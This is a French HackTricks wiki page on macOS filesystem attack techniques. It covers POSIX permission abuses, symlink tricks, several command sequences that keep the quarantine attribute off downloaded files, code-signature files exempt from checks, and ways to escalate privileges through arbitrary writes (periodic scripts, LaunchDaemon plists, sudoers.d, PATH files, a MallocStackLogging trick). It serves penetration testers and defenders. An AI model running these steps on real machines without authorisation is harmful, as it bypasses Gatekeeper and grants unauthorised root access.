Français - Ht
HackTricks TrainingTwitterLinkedinSponsor

macOS FS Tricks

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Combinaisons de permissions POSIX

Permissions dans un répertoire :

  • lecture - vous pouvez énumérer les entrées du répertoire

  • écriture - vous pouvez supprimer/écrire des fichiers dans le répertoire et vous pouvez supprimer des dossiers vides.

  • Mais vous ne pouvez pas supprimer/modifier des dossiers non vides à moins d'avoir des permissions d'écriture dessus.

  • Vous ne pouvez pas modifier le nom d'un dossier à moins d'en être le propriétaire.

  • exécution - vous êtes autorisé à traverser le répertoire - si vous n'avez pas ce droit, vous ne pouvez pas accéder à des fichiers à l'intérieur, ni à des sous-répertoires.

Combinaisons dangereuses

Comment écraser un fichier/dossier détenu par root, mais :

  • Un propriétaire de répertoire parent dans le chemin est l'utilisateur

  • Un propriétaire de répertoire parent dans le chemin est un groupe d'utilisateurs avec accès en écriture

  • Un groupe d'utilisateurs a un accès en écriture au fichier

Avec l'une des combinaisons précédentes, un attaquant pourrait injecter un lien symbole/dur dans le chemin attendu pour obtenir une écriture arbitraire privilégiée.

Cas spécial de la racine du dossier R+X

S'il y a des fichiers dans un répertoire où seul root a un accès R+X, ceux-ci ne sont pas accessibles à d'autres personnes. Ainsi, une vulnérabilité permettant de déplacer un fichier lisible par un utilisateur, qui ne peut pas être lu en raison de cette restriction, de ce dossier vers un autre, pourrait être exploitée pour lire ces fichiers.

Exemple dans : https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

Lien symbolique / Lien physique

Si un processus privilégié écrit des données dans un fichier qui pourrait être contrôlé par un utilisateur moins privilégié, ou qui pourrait avoir été précédemment créé par un utilisateur moins privilégié. L'utilisateur pourrait simplement le pointer vers un autre fichier via un lien symbolique ou physique, et le processus privilégié écrira sur ce fichier.

Consultez les autres sections où un attaquant pourrait abuser d'une écriture arbitraire pour escalader les privilèges.

.fileloc

Les fichiers avec l'extension .fileloc peuvent pointer vers d'autres applications ou binaires, de sorte que lorsqu'ils sont ouverts, l'application/le binaire sera celui qui sera exécuté. Exemple :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>

Descripteur de fichier arbitraire

Si vous pouvez faire en sorte qu'un processus ouvre un fichier ou un dossier avec des privilèges élevés, vous pouvez abuser de crontab pour ouvrir un fichier dans /etc/sudoers.d avec EDITOR=exploit.py, de sorte que exploit.py obtiendra le descripteur de fichier vers le fichier à l'intérieur de /etc/sudoers et l'abusera.

Par exemple : https://youtu.be/f1HA5QhLQ7Y?t=21098

Astuces pour éviter les xattrs de quarantaine

Supprimez-le

xattr -d com.apple.quarantine /path/to/file_or_app

Drapeau uchg / uchange / uimmutable

Si un fichier/dossier a cet attribut immuable, il ne sera pas possible d'y ajouter un xattr

echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

Montage defvfs

Un montage devfs ne prend pas en charge les xattr, plus d'informations dans CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

ACL writeextattr

Cet ACL empêche l'ajout de xattrs au fichier.

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

Le format de fichier AppleDouble copie un fichier avec ses ACEs.

Dans le code source, il est possible de voir que la représentation textuelle de l'ACL stockée à l'intérieur de l'xattr appelé com.apple.acl.text va être définie comme ACL dans le fichier décompressé. Ainsi, si vous compressez une application dans un fichier zip avec le format de fichier AppleDouble avec un ACL qui empêche l'écriture d'autres xattrs... l'xattr de quarantaine n'a pas été défini dans l'application :

Consultez le rapport original pour plus d'informations.

Pour reproduire cela, nous devons d'abord obtenir la chaîne d'ACL correcte :

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Notez que même si cela fonctionne, le bac à sable écrit l'attribut de quarantaine avant)

Pas vraiment nécessaire mais je le laisse là au cas où :

macOS xattr-acls extra stuff

Contourner les signatures de code

Les bundles contiennent le fichier _CodeSignature/CodeResources qui contient le hash de chaque fichier dans le bundle. Notez que le hash de CodeResources est également incorporé dans l'exécutable, donc nous ne pouvons pas y toucher non plus.

Cependant, il y a certains fichiers dont la signature ne sera pas vérifiée, ceux-ci ont la clé omit dans le plist, comme suit :

<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

Il est possible de calculer la signature d'une ressource à partir de l'interface de ligne de commande avec :

openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

En général, macOS monte le disque en dialoguant avec le service Mach com.apple.DiskArbitration.diskarbitrationd (fourni par /usr/libexec/diskarbitrationd). Si vous ajoutez le paramètre -d au fichier LaunchDaemons plist et redémarrez, il stockera des journaux dans /var/log/diskarbitrationd.log. Cependant, il est possible d'utiliser des outils comme hdik et hdiutil pour communiquer directement avec le kext com.apple.driver.DiskImages.

Écritures arbitraires

Scripts sh périodiques

Si votre script peut être interprété comme un script shell, vous pouvez écraser le script shell /etc/periodic/daily/999.local qui sera déclenché chaque jour.

Vous pouvez simuler l'exécution de ce script avec: sudo periodic daily

Daemons

Écrivez un LaunchDaemon arbitraire comme /Library/LaunchDaemons/xyz.hacktricks.privesc.plist avec un plist exécutant un script arbitraire comme:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Fichier Sudoers

Si vous avez l'écriture arbitraire, vous pourriez créer un fichier à l'intérieur du dossier /etc/sudoers.d/ vous accordant des privilèges sudo.

Fichiers PATH

Le fichier /etc/paths est l'un des principaux endroits qui alimentent la variable d'environnement PATH. Vous devez être root pour le remplacer, mais si un script d'un processus privilégié exécute une commande sans le chemin complet, vous pourriez le détourner en modifiant ce fichier.

Vous pouvez également écrire des fichiers dans /etc/paths.d pour charger de nouveaux dossiers dans la variable d'environnement PATH.

Générer des fichiers inscriptibles en tant qu'autres utilisateurs

Cela générera un fichier appartenant à root qui est inscriptible par moi (code from here). Cela pourrait également fonctionner comme une élévation de privilèges:

DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

PreviousmacOS Dangerous Entitlements & TCC permsNextmacOS xattr-acls extra stuff

Last updated